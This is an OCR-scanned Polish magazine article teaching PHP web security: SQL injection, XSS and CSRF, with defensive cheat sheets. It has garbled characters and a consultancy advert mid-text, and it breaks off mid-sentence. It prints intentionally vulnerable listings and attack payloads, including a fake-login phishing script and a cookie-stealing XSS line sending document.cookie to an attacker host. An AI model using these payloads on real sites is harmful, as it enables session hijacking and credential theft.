PROGRAMOWANIE APLIKACJI WEBOWYCH

Michat Leszczyniski

Programista vs wtamywacz, czyli
o bezpieczenstwie aplikacji interne-

towych w PHP

Doswiadczenia z kilkunastu ostatnich lat pokazuja, ze utrzymanie webaplikacji to ciezki
orzech do zgryzienia. Przypuszczalnie nie ma zadnej popularnej organizacji, ktéra nie
odnotowataby przynajmniej kilku incydentéw zwigzanych z bezpieczeristwem. Celem
tego artykutu jest przedstawienie najczesciej spotykanych wpadek developerow apli-
kagji internetowych i co najwazniejsze — wtasciwych metod ich unikania.

stnieje wiele organizacji zajmujacych sie zbieraniem i analiza zagrozen
wystepujacych w Internecie. W tym wypadku interesujaca bedzie jeszcze
wezsza dziedzina, jaka sa podatnosci w samych aplikacjach internetowych.
Rzetelng baza informacji o tej tematyce jest Common Weakness Enume-
ration(CWE). W rozwoju tego serwisu bierze udziat spotecznos¢, a jest na tyle
uzyteczny, ze jednym z jego sponsorow jest rzad USA.
W tytule kazdej sekcji znajduje sie numer referencyjny bazy CWE, kté-
ry umozliwia tatwe zlokalizowanie dokumentacji zgromadzonej na stronie

http://cwe.mitre.org.

Definicje

Podatnosc (ang. vulnerability) — stabosc¢ aplikacji wynikajaca z niepra-
widtowego projektu lub btedu w implementacji, ktora umozliwia atakuja-
cemu naruszenie jej integralnosci,

Exploit — konkretna implementacja ataku gotowa do wykorzystania w
praktyce, bazujgca na konkretnej podatnosci lub podatnosciach,

Exploit pack — paczka zawierajgca kombinacje wielu exploitow, cze-
sto na rozne technologie; grupowanie exploitow ma na celu zwiekszenie
zasiegu ataku,

Malware — (szkodliwe oprogramowanie) - oprogramowanie zaprojek-
towane w celu zaktdcania dziatania komputera, zbierania wrazliwych infor-
macji lub uzyskania dostepu do prywatnych systeméw komputerowych,

Botnet — sie¢ komputerow zainfekowanych malwarem, ktory zazwy-
czaj nie ujawnia swojej obecnosci, lecz jest gotowy do wykonania polecen
zarzgdzajgcego nim zdalnie hakera,

Phishing - proba wykradzenia danych dotyczacych uzytkownikow po-
przez podszycie sie pod zaufang organizacje.

[CWE-89] SQL INJECTION

Rozbudowane aplikacje internetowe tworzone sa w oparciu o bazy da-
nych. Niestety, ogromna ilo$¢ backendéw' stworzonych w PHP nie komuni-
kuje sie z nimi w sposéb bezpieczny.

Mozliwos¢ iniekgji wlasnego kodu w zapytanie moze pozwoli¢ napastniko-
wi posiadajgcemu odpowiednia wiedze na pozyskanie wielu niedostepnych
dla niego informacji, jak chociazby adresow e-mail, hashy haset czy danych oso-
bowych i numerdéw kart kredytowych (o ile takowe s tam przechowywane).

Skutki tego typu atakow nie koncza sie jednak wytacznie na mozliwosci
szybkiej kradziezy ogromnej porcji danych przez atakujacego.

Przyktadem takiego dziatania mozne by¢ wyczyszczenie tabeli uzytkowni-
kéw poprzez odpowiednie spreparowanie zadania typu POST lub ciasteczka. Za-
Zwyczaj nie sg one w catosci zapisywane w logach, a to moze znacznie utrudnic¢
odnalezienie wektora ataku i wyeliminowanie podatnosci w kodzie aplikacji.

1 backend - czes¢ oprogramowania wykonujaca sie po stronie serwera, odpowiedzialna za obstuge
logiki, komunikacje z baza danych, etc
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Listing 1. Przyktad prostej aplikacji podatnej na SQL Injection
(przypadek naiwny)

<?php

if (lempty($ POST['login']) && !empty($ POST['password'])) {

$1link = mysql_connect('localhost', 'uzytkownik', 'haslo');
mysql_select_db('bazadanych');

$query = 'SELECT * FROM users ';

$query .= 'WHERE login = "' . $_POST['login'] . '" ';

$query .= 'AND password = "' . shal($_POST['password']) . '"';
$result = mysql_query($query);

$row = mysql_fetch_row($result);

if ($row !== FALSE) {
echo 'Witaj, ' . $row['login'] . 'l!<br/>';
exit 'Zostates$ pomyslnie zalogowany.';

} else {
exit 'Podano niepoprawny login lub hasio!’;

}

}

?><form action="" method="POST">
Login: <input type="text" name="login" value=""><br>
Hasto: <input type="password" name="password" value=""><br>
<input type="submit" value="Zaloguj sie">

</form>

Ominiecie autoryzacji

W przedstawionym przyktadzie nazwa uzytkownika oraz hasto zawarte sg
pomiedzy znakami cudzystowu, jednak moze on wystepowac réwniez w ich
wartosciach.

Dla nazwy uzytkownika {Stefan" --} oraz hasta {Ala} zapytanie przy-
bierze wiec nastepujaca forme:

Listing 2. Zapytanie po podstawieniu spreparowanych danych.

[sQL]
SELECT * FROM users WHERE login = "Stefan" --"
"f4a957(...)0be7"

AND password =

Poniewaz dwa mysIniki oznaczaja komentarz, zapytanie zostanie zinter-
pretowane niezgodnie z pierwotnymi intencjami programisty. Tym samym,
warunek dotyczacy hasta nie zostanie uwzgledniony. Atak w takim wariancie
umozliwia wiec ominiecie koniecznosci podawania hasta i zalogowanie sie na
konto dowolnego uzytkownika.

Ataki (D)DoS

Powyzsze podatne zapytanie jest niebezpieczne nie tylko ze wzgledu na
ominiecie autoryzacji. Istnieje mozliwo$¢ zmiany zapytania w ten sposéb, aby
jego wykonanie zajeto dtuzszy czas.


http://cwe.mitre.org

O BEZPIECZENSTWIE APLIKACJI INTERNETOWYCH W PHP

Denial of Service (odmowa ustugi) to atak majacy na celu uniemozliwie-
nie dziatania systemu komputerowego lub ustugi widocznej w sieci. Moze
on polegac zaréwno na zalewaniu sieci pakietami w celu wykorzystania
catego dostepnego pasma, jak i na zlecaniu zadan, ktérych wykonanie
wymaga duzej ilosci zasobéw. DoS moze réwniez zostac przeprowadzony
poprzez wysytanie zapytan powodujacych crash przetwarzajacej je ustu-
gi (ponowne uruchomienie serwera lub interpretera niesie ze soba duzy
koszt wydajnosciowy).

Innym wariantem tego ataku jest Distributed Denial of Service ( rozpro-
szona odmowa ustugi), ktéry przeprowadzany jest jednoczesnie z wielu
urzadzen i lokalizacji.

Listing 3. Wynikowe zapytanie po przystosowaniu go do atakow DDoS

SELECT * FROM users WHERE login = "" OR SLEEP(99999) --" AND
password = "f4a957(...)0be7"

W tym wypadku nazwa uzytkownika byt ciag {* OR SLEEP(99999) --}.
Dla kazdego rekordu w tabeli zostanie wykonana procedura SLEEP(99999)
znajdujaca sie w warunku.

Takie techniki wykorzystuje sie rowniez, gdy nie da sie bezposrednio
stwierdzi¢, czy préba wstrzykniecia kodu w zapytanie powiodta sig, czy nie.
Atak dajacy jedynie mozliwo$¢ obserwacji jego efektow ubocznych nazywa-
ny jest blind SQL injection.

Nalezy mie¢ na uwadze, iz funkcja SLEEP()jedynie uspi watek wykonu-
jacy zapytanie.

W zaleznosci od efektu, ktéry chce osiggnac atakujacy, w tym miejscu
moze zostac przez niego uzyta np. procedura BENCHMARK (), ktéra umozliwia
wielokrotne powtorzenie okreslonej operacji. Atak przeprowadzony ta meto-
da moze szybko wyczerpaé moc obliczeniowa zaatakowanego serwera.

Sposoby ochrony

Nie bez powodu podatnosci typu SQL Injection zajmujg niechlubne pierw-
sze miejsce wsrod najczesciej spotykanych. Metodyka ochrony przed lukami
tego rodzaju silnie zalezy od interfejsu uzywanego do komunikacji z baza
danych.

Zdecydowanie nie zaleca sie uzywania niskopoziomowych funkgji (np.
mysql_) wykorzystanych na pierwszym listingu. Podczas budowania zapytan
W oparciu o nie, programista kazdorazowo musi pamietac o filtrowaniu argu-
mentdw przy pomocy funkgji neutralizujacych odpowiednie znaki specjalne.

Zamiast tego, wysoce rekomendowane jest uzycie biblioteki PDO (jest
ona czescia biblioteki standardowej od wersji 5.1.0) lub biblioteki wykorzy-
stujacej mapowanie obiektowo-relacyjne (ORM).

Listing 4. Bezpieczna aplikacja napisana z uzyciem biblioteki PDO

<?php

if (lempty($_POST['login']) && !empty($_POST[ 'password'])) {
$dsn = 'mysql:localhost;dbname=bazadanych’;
try {
$pdo = new PDO($dsn, 'login',
} catch(PDOException $e) {
exit('Nie udato sie potagczyc.');

‘haslo');

}
$sql = 'SELECT * FROM users ';
$sql .= 'WHERE login = :login AND password = :password’;

$query = $pdo->prepare($sql);

// bindValue automatycznie neutralizuje dane
$query->bindvalue(':login', $_POST['login']);
$query->bindvalue( ' :password', $ POST['password']);
$query->execute();

$row = $query->fetch(PDO: :FETCH_ASSOC);

if ($row !== FALSE) {
echo 'Witaj, ' . $row['login'] . 'I<br/>";
exit 'Zostates pomyslnie zalogowany.';

} else {
exit 'Podano niepoprawny login lub hasto!’;
}
}
?><!-- formularz identyczny jak w listingu #1 -->

Jak pracowac z zapytaniami SQL - sciaggawka

Opcja #1: Zapytania preparowane

W tym celu nalezy wykorzystac interfejs obstugujacy podstawianie
wartosci do zapytan. Standardowym interfejsem dla PHP jest PDO. W
zapytaniu preparowanym miejsca, w ktdrych powinny zosta¢ wstawione
dane pochodzace od uzytkownika, oznacza sie w zaleznosci od interfejsu
za pomocg znaku zapytania i/lub nazwy zmiennej poprzedzonej dwukrop-
kiem.

Przyktad zapytania preparowanego:

$sql = 'SELECT * FROM users ';

$sql .= "WHERE name = ? AND surname = ?';

$query = $pdo->prepare($sql);

$query->execute(array('Jan', 'Kowalski'));

Opcja #2: Procedury SQL

W przypadku skomplikowanych operacji dobrym rozwigzaniem moze
by¢ uzycie tzw. stored procedures, czyli procedur SQL przechowywanych
po stronie silnika bazy danych.

Przyktad wywotania procedury SQL:

$sql = 'CALL ZNAIDZ_USERA(?, ?)';

$query = $pdo->prepare($sql);

$query->execute(array('Jan', 'Kowalski'));

Opcja #3: Neutralizacja wszystkich danych pochodzacych od uzyt-
kownika

Zdecydowanie najbardziej niewdzieczne wyjscie z sytuacji. Wazne jest,
aby przy wstawianiu niepewnych danych do zapytania kazdorazowo neu-
tralizowac je, uzywajgc opracowanych w tym celu metod. Wykorzystanie
funkcji pokroju addslashes lub str_replace czesto nie przyniesie ocze-
kiwanego efektu! Podczas neutralizacji danych wstawianych do zapytania
nalezy uwzglednic wszystkie znaki specjalne uzywane przez dany silnik ba-
zodanowy oraz ich znaczenie. Dla MySQL w bibliotece standardowej PHP
istnieje funkcjamysql_real_escape_string, ktéra uwzglednia zestaw
znakdéw obowiazujacy w danym potaczeniu.

Przyktad recznej neutralizacji:

$x = $_GET['name'];

$sql = "SELECT * FROM users';

$sql .= '"WHERE name = ';

$sql .= mysql_real_escape_string($x);

$result = mysql_query($sql);

[CWE-79] XSS (CROSS-SITE SCRIPTING)

Wykorzystanie podatnosci typu XSS (cross-site scripting) zazwyczaj nie
daje napastnikowi natychmiastowych korzysci i wymaga uprzedniego przy-
gotowania. Mimo to skutki ataku moga okazac sie bardzo grozne, gtéwnie ze
wzgledu na ich istote.

Unikalnos¢ XSSéw wynika z faktu, ze chociaz teoretycznym celem exploita
jest serwer, to jednak ataki sa niejako odbite do przegladarek uzytkownikéw.
W najgorszym wypadku umozliwia to (w potaczeniu z exploit packiem) prze-
jecie kontroli nad komputerem uzytkownika i wiaczenie go do botnetu lub
kradziez poufnych danych.

Niezaleznie od tego, jak zostanie wykorzystana podatnos¢, poszkodowa-
ny moze zosta¢ niewinny uzytkownik, ktéry wchodzi na swojg ulubiong
strone. W efekcie istnieje ryzyko trwatej utraty zaufania uzytkownikéw...
razem z utratg pozytywnych wynikéw finansowych.

Ze wzgledu na sposéb dziatania wystepuje podziat na dwie grupy:

- reflected (,odbity”) XSS - kazdorazowo do dziatania wymagane jest
wstrzykniecie ztosliwego kodu poprzez ingerencje w czes¢ zapytania, np.
parametr w adresie URL, ciasteczko, dane przesytane metoda POST etc.

- stored (,skladowany”) XSS - ztosliwy kod po akcji wykonanej przez na-
pastnika zostaje zapisany na serwerze i moze zosta¢ zaserwowany przy-
padkowym uzytkownikom.

Alternatywne nazwy grup to non-persistent (,nietrwaty”) i persistent
(,trwaty”).
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Dodatkowy kod wykona sie w oparciu o takie same zasady zabezpieczen,

jakie zostang uzyte przy przetwarzaniu oryginalnej czesci strony. Z tego

wzgledu producenci przegladarek staraja sie stworzyc¢ skuteczne filtry, ktére

maja na celu zmniejszenie skutecznosci atakow.

Nalezy zwrdcic szczegdlnag uwage na fakt, ze heurystyki tworzone na tym

poziomie maja na celu jedynie czesciowe zmniejszenie ryzyka ataku i ob-

nizenie jego zasiegu. Nigdy nie nalezy catkowicie poktada¢ nadziei w tego

typu rozwigzaniach. Ze wzgledu na to zaleca sie testowanie wiasnych apli-

kacji, podczas kiedy zabezpieczenia na poziomie przegladarki s3 wytaczone.

Filtr XSS moze zostac wytgczony poprzez wystanie nagtéwka,X-XSS-Pro-

tection: @"w odpowiedziserwera. Jest to niestandardowy nagtéwek HTTP

wprowadzony w ramach umowy miedzy twércami popularnych przegladarek

internetowych.

Reflected XSS

Listing 5. Aplikacja podatna na reflected XSS (przypadek naiwny)

<?php
header('Content-Type: text/html; charset=utf-8');
header ('X-XSS-Protection: 0');

$ilosc = 1;

if (isset($_GET['ilosc'])) {
$ilosc = $_GET['ilosc'];

}

$cena = $ilosc * 3.50;

?><table>
<tr>
<td>Nazwa produktu:</td>
<td>Czekolada</td>
</tr><tr>
<td>Ilosc¢:</td>
<td><?php echo $ilosc; ?></td>
</tr>
<tr>
<td>Cena:</td>
<td><?php echo $cena; ?> PLN</td>
</tr>
</table>

Skrypt postuguje sie parametrem ,ilosc” pochodzacym z adresu URL

przestanego przez uzytkownika. Odpowiednie jego spreparowanie pozwoli

wstrzyknac w strone wiasny kod HTML. Umozliwia to m.in. osadzenie wiasne-

go apletu Java lub Flash, albo bloku JavaScript.

Zatézmy, ze skrypt znajduje sie na serwerze i jest czescig sklepu

internetowego.

Odwotujemy sie do niego poprzez adres: http://example.com/cze-

kolada.php?ilosc=5<script>alert(/test/.source);</script>.

Serwer wygeneruje nastepujacy wynik:

Listing 6. Wynik wywotania aplikacji ze spreparowanym parame-
trem wejSciowym.

<table>
<tr>
<td>Nazwa produktu:</td>
<td>Czekolada</td>
</tr><tr>
<td>Ilosc:</td>
<td>5<script>alert(/test/.source);</script></td>
</tr>
<tr>
<td>Cena:</td>
<td>17.5 PLN</td>
</tr>
</table>

W zwigzku z tym, uzytkownik wchodzacy na strone za pomoca spreparo-

wanego URLa zobaczy nie tylko oryginalna zawartos¢, ale rowniez komunikat

o tresci, test” wygenerowany przez wstrzykniety kod.
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"xss" kontra /xss/.source

W przyktadzie ataku na kod z listingu czwartego, literat zostat zadekla-
rowany przy pomocy sktadni wyrazen regularnych, zamiast w typowej po-
staci ujety w apostrofy lub cudzystéw. Metoda ta miata szczegdlne zasto-
sowanie w atakach na starsze wersje PHP, gdzie domyslnie byta wtgczona
opcja magic_quotes_gpc. Ten nieprzemyslany mechanizm zostat usuniety
w wersji 5.4.0. Powodowat on automatyczne neutralizowanie apostrofow
i cudzystowow w tablicach superglobalnych poprzez dostawienie przed
nimi znaku backslash. Nawet jesli skrypt recznie przetwarza te znaki, za-
stosowanie tego triku jest sposobem na ominiecie zabezpieczen filtruja-
cych je.

Teoretycznie, wyswietlenie zwyktego, niepokojaco wygladajacego ko-
munikatu nie stanowi jeszcze zadnego powaznego zagrozenia. Nalezy wiec
rozwazy¢ nieco bardziej skomplikowany przypadek.

Na serwerze nalezagcym do hakera serwer-hakera.tld pod adresem
/kod.js znajduje sie skrypt ze ztosliwym kodem.

Listing 7. Ztosliwy kod z pliku /kod.js

var txt = '<b>Twoja sesja wygasia.';

txt += 'Musisz zalogowac sie ponownie.</b>"';

txt += '<form action="http://zuo.tld/login.php" method="POST">";
txt += 'Login: <input type="text" name="login" value=""><br>';
txt += 'Hasto: <input type="text" name="haslo" value=""><br>';
txt += '<input type="submit" value="Zaloguj"></form>';
document.body.innerHTML = txt;

wn

Haker wysyta uzytkownikowi spreparowany link w postaci:

http://example.com/czekolada.php?ilosc=5<script src=http://
serwer-hakera.tld/kod.js></script>

Uzytkownik, ktory wejdzie na strone, zamiast formularza zakupu czekola-
dy ujrzy komunikat o tym, ze jego sesja wygasta i konieczne jest ponowne za-
logowane. Za wszystkim stoi kod wstrzykniety poprzez parametr ,ilos¢’, ktory
podmienia ciato dokumentu.

€« =2 C [} example.com/czekolada.php?ilosc=5<sc
Twoja sesja wygasla. Musisz zalogowac sie ponownie.

Login:
Haslo:
Zaloguj

Rysunek 1. Fatszywy formularz wstawiony przez ztosliwy kod (reflected XSS)

Niewykluczone, ze przy odpowiednio wiarygodnie wystylizowanym ko-
munikacie nawet doswiadczeni uzytkownicy Internetu moga dac sie nabrac
na ten czesciowo socjotechniczny atak. Formularz prowadzacy na strone ha-
kera moze z fatwoscia przechwyci¢ dane logowania i przekierowac zapytanie
ponownie na wiasciwy serwer, nie wzbudzajac zadnych podejrzen.

Stored XSS

W przeciwienstwie do wczesniej opisywanych reflected XSS, w tym przy-
padku nie ma koniecznosci zataczania spreparowanych danych w kazdym
zapytaniu. Ztosliwy kod zostaje przechowany przez serwer aplikacji i jest sa-
moczynnie serwowany uzytkownikom.

Najbardziej typowym przyktadem wykorzystania podatnosci jest atak ses-
sion hijacking (przejecie sesji). Mozna go wykona¢, na przyktad wstrzykujac
kod JavaScript przez niezabezpieczony system komentarzy. Niechciany kod
zajmie sie kradzieza zawartosci ciasteczek sesyjnych i wysytaniem ich na ze-
whnetrzny serwer, bedacy pod kontrola atakujacego.
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Domain Driven Design >
Modelowanie i implementacja DDD

Testowanie Agile >
BDD, TDD, Spec by Example

Narzedzia >
Continous Integration, Tuning JVM,...

Inzynieria oprogramowania.
Architektura, Wzorce, Najlepsze praktyki

SEUZYMY WIEDZA | DOSWIADCZENIEM

W odpowiedzi na typowe wyzwania w
procesie tworzenia oprogramowania
oferujemy szereg dobrze zdefiniowanych
ustug doradczych.

Dzieki nim skupisz sie na kluczowych
aspektach i ruszysz z miejsca.

COACHING DDD | TESTOWANIE

Wdrozenie w projekcie lub organizacji
praktycznych technik Agile

Coaching Domain Driven Design

Coaching Testowanie automatyczne
(TDD, BDD, Spec by Example)

CHARAKTERYSTYKA UStUG

Nasi eksperci stuza wiedzg i doswiadczeniem
dostarczajac gotowych rozwigzan, ktére
przyspiesza Twoj proces wytwérczy.

Dzieki ich wiedzy technicznej skupisz sie na
funkcjonalnosciach biznesowych.

Jestesmy cztonkiem:
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PROGRAMOWANIE APLIKACJI WEBOWYCH

Listing 8. Aplikacja posiadajaca system komentarzy i obstuge sesji,
podatna na stored XSS

<?php
header('Content-Type: text/html; charset="utf-8"');
session_start();

try {

$dsn = 'mysql:localhost;dbname=baza’;

$pdo = new PDO($dsn, 'user', 'pass');
} catch(PDOException $e) {

exit('Nie udato sie potgczy¢ z baza danych.');
}

if (lisset($_SESSION['login'])) {
// kod dotyczacy logowania zostat pominiety
// mozna go znalezé¢ w materiatach dodatkowych
header('Location: login.php');
exit();

}

echo 'Jeste$ zalogowany jako: ';
echo $_SESSION['login'] . '<br>';
echo '<hl>Przyktadowy artykuit</h1>";
echo '<p>Lorem ipsum...</p>";

echo '<h2>Komentarze</h2>';

$sql = 'SELECT * FROM comments ORDER BY id ASC';
$query = $pdo->prepare($sql);
$query->execute();

while($row = $query->fetch(PDO::FETCH_ASSOC)) {
echo '<b>"' . $row['author'] . '</b>: ';
echo $row[ "text'] . '<hr>';

}

echo '<h2>Dodaj komentarz</h2>'

-

// obstuga dodania komentarza

if (isset($_POST['text'])) {
$sql = "INSERT INTO comments ';
$sql .= 'SET author = :author, text = :text';
$query = $pdo->prepare($sql);
$query->bindValue( ' :author', $ SESSION['login']);
$query->bindValue(':text', $_POST['text']);
$query->execute();

echo '<span color="green">";
echo 'Komentarz zostat dodany!';
echo '</span>';

}

?><form action="" method="POST">

<textarea rows="5" cols="60" name="text"></textarea>
<br><input type="submit" value="Dodaj komentarz">
</form>

Napastnik, logujac sie do przedstawionej aplikacji jako uzytkownik i wy-

korzystujac brak neutralizacji, moze doda¢ komentarz o nastepujacej tresci:

Listing 9. Ztosliwy kod zajmujacy sie kradziezg ciasteczek.

<script>document.write('<img style="display: none;"
src="http://serwer-hakera.tld/cookie.php?x="+escape(document.
cookie)+'">");</script>

Przegladarka, spodziewajac sie otrzymania obrazka wykona zapytanie do

zewnetrznego serwera, jednoczesnie przesytajac interesujace dane hakerowi.

Wsrdéd developerow funkcjonuje przekonanie, ze cechy charaktery-
styczng dla zapytan wykonanych za posrednictwem AJAX jest nagtowek
X-Requested-With.

Btad! Obiekt XMLHttpRequest udostepniajgcy APl do wykonywa-
nia zadan asynchronicznych sam z siebie nie dodaje zadnych niestandar-
dowych nagtowkow. Za doklejaniem tej informacji stoja frameworki utat-
wiajace korzystanie z AJAX, np. jQuery.

Standardowy mechanizm sesji domysinie nie posiada zadnych zabezpie-

czen przed kradzieza identyfikatora i wykorzystaniem go na innym kompu-

terze. Napastnikprzechwytujacy ciasteczka oséb odwiedzajacych strone z ko-

mentarzami jest wiec w stanie przejac sesje dowolnego uzytkownika, ktérego

ciasteczka przechwycit.
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Réwniez i w tym przypadku nie istnieje w petni skuteczne zabezpieczenie,
ktore uniemozliwitoby ten proceder. Najczesciej stosowana technika ochrony
to przypisywanie sesji do konkretnego adresu IP lub klasy adresowej, z ktorej
zostata utworzona. Za kazdym razem nalezy jednak rozwazy¢ plusy i minusy
takiego rozwiagzania — moze to znacznie utrudnic prace w aplikacji uzytkow-
nikom mobilnym oraz pracownikom z tych firm. Korporacje moga mie¢ wiele
weztéw wychodzacych z sieci wewnetrznej, automatyczne przeskakiwanie
pomiedzy nimi (w celu redukgcji obcigzenia) moze powodowac zmiany ze-
wnetrznego adresu IP.

Istotne jest rowniez ustawienie ciasteczkom sesyjnym flagi HttpOnly.
Korzystajac z wbudowanego w bibliotece standardowej mechanizmu sesji,
moze to zrobi¢, wywotujac funkcje session_set_cookie_params jeszcze
przed wystartowaniem sesji.

W przegladarce Internet Explorer 6 w 2002 roku zaimplementowano
specjalny atrybut, ktéry moze zostac¢ ustawiony dla danego ciasteczka.
Uniemozliwia to dostep do niego z poziomu skryptow dziatajgcych po
stronie klienta (m.in. JavaScript). Obecnie flaga ,HttpOnly” jest zrozumia-
ta dla wszystkich popularnych przegladarek internetowych. Stanowi to
skuteczng ochrone przed najbardziej typowym atakiem XSS.

Warto rowniez zwréci¢ uwage na niebezpieczng metode HTTP —
TRACE -ktora zwraca wystane przez klienta zapytanie. Zostata ona zapro-
jektowana z mysla o utatwieniu debugowania aplikacji internetowych,
okazata sie jednak niebezpieczna ze wzgledu na mozliwos¢ przeprowadza-
nia atakow Cross Site Tracing. Wykorzystujac te metode, ztosliwe skrypty
uruchomione po stronie uzytkownika moga wykonac zgdanie HTTP, ktore
zwroci zawartos¢ wszystkich ciasteczek. Ze wzgledow bezpieczenstwa
popularne serwery nie implementujg, badz nie udostepniaja domysinie
metody TRACE.

W jaki sposob mozna dokona¢ ataku pomimo zastosowania wszystkich
przedstawionych wczesniej srodkow bezpieczenstwa? Zamiast manipulowac
danymi okreslajacymi stan aplikacji wystarczy podjac jakas akcje w imieniu
uzytkownika.

Powyzszy plan jest dla odmiany tatwy do wykonania przy pomocy inter-
fejsu AJAX. Domyslnie, zapytanie przeprowadzone asynchronicznie z pozio-
mu JavaScript bedzie zawierato wszystkie ciasteczka przynalezne do danej
domeny. Dotyczy to réwniez ciasteczek z flaga HttpOnly, gdyz chroni ona wy-
facznie przed inspekcja ciasteczka z poziomu skryptu client-side.

Rozwazmy ponizszy kod jako cze$¢ komentarza ze ztosliwym kodem:

Listing 10. Ztosliwy kod wykonujacy akcje w imieniu innych uzyt-
kownikow

<script src="/js/jquery.min.js"></script>
<script>
var data = {
'text': 'Staby serwis, wszedzie XSS!'
s
$.post('./", data, function() {
var url = 'http://serwer-hakera.tld/"';
url += 'yeah.png';
document.write('<img src="+url+'>");

1)

</script>

Dla wygody dotaczona zostata biblioteka jQuery, istnieje duze prawdopo-
dobienstwo, ze uzywa jej sam autor strony. Jesli tak nie jest, atakujacy moze
zawsze dotaczyc¢ kod z zewnetrznego serwera.

Powyzszy payload po uruchomieniu przez ofiary ataku bedzie auto-
matycznie dodawat w ich imieniu komentarze o tresci ,Staby serwis, wsze-
dzie XSS!" przy kazdym odwiedzeniu strony wyswietlajgcej komentarze.
Ponadto, kod wczesniej wspomniang metoda raportuje serwerowi hakera
powodzenie.

W analogiczny sposéb napastnik jest w stanie wykras¢ dane osobowe
przypisane do konta lub jego historie. Wystarczy w tym celu wykonac zapyta-
nie o podstrone z ustawieniami konta, wypakowac¢ odpowiednie informacje z
wygenerowanego kodu odpowiedzi i w jaki$ sposob je zapisac.



O BEZPIECZENSTWIE APLIKACJI INTERNETOWYCH W PHP

Co robi¢, aby ustrzec sie przed XSS - sciagawka

Zasada #1: Zwréc¢ uwage na kontekst osadzenia danych

Kluczowe jest zauwazenie, ze neutralizacja powinna przebiega¢ ina-
czej w zaleznosci od miejsca, w ktorym wstawiane s dane pochodzgce od
uzytkownika. Konieczne jest zastosowanie innych srodkéw przy osadzaniu
w JavaScript (addslashes), innych przy osadzaniu jako wartos¢ atrybutu
(htmlentitiesz ENT_QUOTES), itp

Zasada #2: Zawsze wysylaj poprawny i zrozumiaty dla przegladarek
Content-Type, precyzujgc przy tym nazwe uzywanego kodowania

Brak informacji o rodzaju dokumentu i jego kodowaniu moze spo-
wodowac zinterpretowanie go w sposob nieprzewidywalny, niezgodny z
oczekiwaniami programisty.

Zasada #3: Osadzajac zawartos¢ pochodzgcy od uzytkownika w
elementach HTML:
Zawsze encjonuj znaki ‘<’ *>', ‘&',

Zasada #4: Osadzajgc w typowych atrybutach HTML:

Zawsze otaczaj wartos¢ atrybutu znakami cytatu (apostrof lub cudzy-
stow). Zamien znaki '<’, *>', ‘&’ oraz znaki cytatu na odpowiadajgce im en-
cje HTML. Nalezy zwrdci¢ szczegolng uwage na to, ze w niektorych atry-
butach (na przyktad src) wartosci moga wymagac dodatkowej walidac;ji!

Zasada #5: Osadzajgc w atrybutach style oraz tych dotyczacych
zdarzen JavaScript (np. onclick):

Konieczne bedzie podwdjne encjonowanie, pierwszy raz na poziomie
JavaScript lub stylu, drugi raz podczas osadzania w HTML. Takie rozwiaza-
nia s btedogenne i wysoce nie zalecane. Podejmujac decyzje projektowe
rozwaz wstawienie niepewnych danych do atrybutéw data wspieranych,
w HTMLs.

Zasada #6: Osadzajgc w elementach zmieniajgcych sposéb inter-
pretacji (np. <script> lub <style>):
Dla wartosci wystepujacych wewnatrz stringéw zamien znaki cytatu,

backslash, znaki ‘<" i'>" oraz wszystkie niedrukowalne znaki za pomocg od-

powiadajgcych im w danym jezyku encji.

Uwaga na nieprawidtowe znaki Unicode!

Silnik bazodanowy MySQL traktuje znaki zapisane w niedozwolonej nota-
¢ji w dosc osobliwy sposob. Literat zawierajacy taki znak, uzyty jako wartosc¢
w zapytaniu INSERT lub UPDATE zostanie obciety w miejscu jego pierwszego
wystapienia. Przyktadowo, zapytanie:

INSERT INTO users SET name = "Jan\xC1\x9CKowalski"

Przy zatozeniu, ze “users” jest tabelg o kodowaniu utf8, pole ,name” no-
wego rekordu bedzie zawierato wartos¢ ,Jan". To zachowanie nie jest precy-
zyjnie udokumentowane w manualu MySQL (http://dev.mysql.com/doc/ref-
man/5.0/en/constraint-invalid-data.html).

Analogicznym niebezpieczeristwem jest mozliwos¢ znalezienia sie nie-
prawidtowego znaku w kodzie HTML. Te kwestie doktadnie opisuje raport
techniczny Unicode (http://www.unicode.org/reports/tr36/#UTF-8_Exploit).

W przypadkach wrazliwych nalezy weryfikowa¢, czy parametr pochodza-
cy od uzytkownika jest prawidtowy dla uzywanego kodowania. Weryfikacji
mozna dokona¢, uzywajac funkcji mb_check_encoding z biblioteki mb-
string. Ewentualng probe naprawy nieprawidtowo zakodowanego parame-
tru mozna podja¢, uzywajac mb_convert_encoding.

[CWE-352] CSRF (CROSS-SITE
REQUEST FORGERY)

W telegraficznym skrécie: atak polegajacy na naduzyciu zaufania aplikacji
internetowej, co do tozsamosci uzytkownika wywotujacego okreslong akcje.

Nietypowos¢ tego typu podatnosci wynika z tego, ze pochodzeniem
zwigzanego z nig ataku jest inna strona internetowa. Ze wzgledu na polityke
bezpieczenstwa przegladarek mozliwos¢ wykonywania akcji w innej dome-
nie jest bardzo ograniczona. Dodatkowym ograniczeniem dla atakujacego
jest brak mozliwosci bezposredniego zweryfikowania, czy atak sie powiddt.

Dla przyktadu, serwis A moze zaserwowac uzytkownikowi niewidoczna
ramke iframe, ktéra wykona zapytanie POST dodajace komentarz o konkret-
nej tresci w serwisie B. Jesli tenze uzytkownik jest juz zalogowany w drugim
serwisie, faktycznie spowoduje to dodanie wpisu w jego imieniu. Ponad-
to, ofiara poprawnie przeprowadzonego ataku nie bedzie swiadoma jego
efektow.

CSRF nie tylko w webaplikaciji

W ciggu ostatnich kilku lat, poczynajac od 2008 roku, polak Maksymi-
lian Arciemowicz odkryt serie podatnosci typu CSRF w implementacjach
serwerow FTP. W przypadku tego funkcjonujgcego w ramach ustugi na sys-
temie operacyjnym Sun Solaris 2010 wystarczyto uzy¢ zademonstrowane-
go juz w tym artykule triku dotyczgcego atrybutu ,src” obrazka.

Przyktadowy exploit miat nastepujaca postac:

<img src="ftp://..... ////SITE%20CHMOD%20777%20EXAMPLEFILE" ; >

Odkrywca podatnosci zdefiniowat potencjalng jego ofiare jako wiasci-
ciela strony, ktérego dane logowania FTP sg zapisane lub zakeszowane w
przegladarce. Przy probie nawigacji do spreparowanego adresu, nie inten-
cjonalnie z konta administratora wykonywana byta komenda CHMOD @777
EXAMPLEFILE, zmieniajaca uprawnienia okreslonego pliku.

Luki udato sie zatata¢ zmieniajgc reakcje nazbyt pobtazliwe] logiki
serwerow na zbyt dtugie komendy. Wczesniej byty one rozbijane na kilka
mniejszych polecen i wykonywane osobno.

Rozwazmy ponownie kod aplikacji z listingu ésmego omoéwiony w po-
przednim punkcie. Oprocz podatnosci na ataki XSS jest on réwniez idealnym
celem dla ataku CSRF. Zatézmy, ze podatna aplikacja znajduje sie w dome-
nie samochody.t1d, gdzie ofiara jest juz zalogowana. Réwnolegle, ofiara
